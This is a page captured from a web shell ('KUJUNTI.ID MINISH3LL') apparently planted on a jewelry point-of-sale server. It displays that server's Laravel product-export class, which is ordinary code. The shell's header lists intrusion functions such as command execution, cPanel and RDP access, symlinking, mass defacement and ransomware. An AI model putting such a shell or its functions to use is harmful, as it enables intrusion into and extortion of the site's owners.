KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/app/Exports/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/app/Exports/productAccessoryExport.php


<?php

namespace App\Exports;

use Maatwebsite\Excel\Concerns\FromCollection;
use Maatwebsite\Excel\Concerns\FromQuery;
use Maatwebsite\Excel\Concerns\WithDrawings;
use Maatwebsite\Excel\Concerns\WithHeadings;
use Maatwebsite\Excel\Concerns\WithMapping;
use App\Models\Product;
use PhpOffice\PhpSpreadsheet\Worksheet\Drawing;

class productAccessoryExport implements FromQuery, WithHeadings, WithMapping
{
    /**
    * @return \Illuminate\Support\Collection
    */

    private $no = 0;
    private $start_date;
    private $end_date;
    private $search;
    private $paginate;
    private $date;
    private $platinum_category;
    private $check_fixed_price;

    public function __construct($start_date , $end_date , $search , $paginate , $platinum_category , $check_fixed_price)
    {
        $this->start_date = $start_date;
        $this->end_date = $end_date;
        $this->search = $search;
        $this->paginate = $paginate;
        $this->platinum_category = $platinum_category;
        $this->check_fixed_price = $check_fixed_price;
    }

    public function headings(): array
    {
        return [
            'no',
            __('message.original invoice'),
            __('message.gia number'),
            __('message.supplier'),
            __('message.supplier rate'),
            __('message.part number'),
            __('message.product category'),
            __('message.name'),
            __('message.qty'),
            __('message.cost'),
            __('message.sales price'),
            __('message.weight'),
            __('message.gold weight'),
            __('message.wages'),
            __('message.original wages'),
            __('message.purity upgrade to'),
            __('message.selling purity'),
            __('message.diamond size'),
            __('message.original invoice'),
            __('message.active'),
            __('message.description'),
//            __('message.image'),
            __('message.user'),
            __('message.created at'),
        ];
    }
    public function query()
    {
        $platinum_category_id = $this->platinum_category;
        $products = Product::where('is_active' , true)->where('qty' , '>' , 0)->where('for_sale' , 0)->where('weight' , '<>' , 0)->orderBy('products.name');
        if($platinum_category_id){
            $products = $products->where('product_category_id' , $platinum_category_id)->orderBy('id', 'desc');
        }
        $search = $this->search;
        if($search){
            $products = $products->where('part_number' , $search)->orderBy('id', 'desc');
        }else{
            $products = $products->orderBy('id', 'desc');
        }
        if($this->check_fixed_price == 1){
            $products = $products->where('products.fixed_price' , true);
        }elseif($this->check_fixed_price == 2){
            $products = $products->where('products.fixed_price' , false);
        }
        return $products;
    }

    public function map($product): array
    {
        $this->no++;
        if($this->check_fixed_price == 1 || $product->productCategory->fixed_price == true){
            return [
                $this->no,
                $product->original_invoice??'',
                $product->gia_number??'',
                $product->supplier->name??'',
                $product->supplier_rate??0,
                $product->part_number,
                $product->productCategory->name??'',
                $product->name??'',
                $product->qty??0,
                number_format($product->cost() , 2),
                number_format($product->price , 2),
                $product->weight,
                $product->goldWeight(),
                number_format($product->selling_wagesInWeight() , 2),
                number_format($product->cost_wagesInWeight() , 2),
                $product->purity_upgrade_to??'',
                $product->selling_purity??'',
                htmlspecialchars(trim(strip_tags($product->diamond_size))),
                $product->original_invoice??'',
                $product->is_active ? 'active' : 'inactive',
                htmlspecialchars(trim(strip_tags($product->description))),
//            $product->image,
                $product->user->name??'',
                $product->created_at->format('d/m/y H:i'),
            ];
        }else{
            return [
                $this->no,
                $product->original_invoice??'',
                $product->gia_number??'',
                $product->supplier->name??'',
                $product->supplier_rate??0,
                $product->part_number,
                $product->productCategory->name??'',
                $product->name??'',
                $product->qty??0,
                number_format($product->cost() , 2),
                number_format($product->sellingPrice() , 2),
                $product->weight,
                $product->goldWeight(),
                number_format($product->wages_in_weight , 2),
                number_format($product->original_wages_in_weight , 2),
                $product->purity_upgrade_to??'',
                $product->selling_purity??'',
                htmlspecialchars(trim(strip_tags($product->diamond_size))),
                $product->original_invoice??'',
                $product->is_active ? 'active' : 'inactive',
                htmlspecialchars(trim(strip_tags($product->description))),
//            $product->image,
                $product->user->name??'',
                $product->created_at->format('d/m/y H:i'),
            ];
        }
    }
}

© KUJUNTI.ID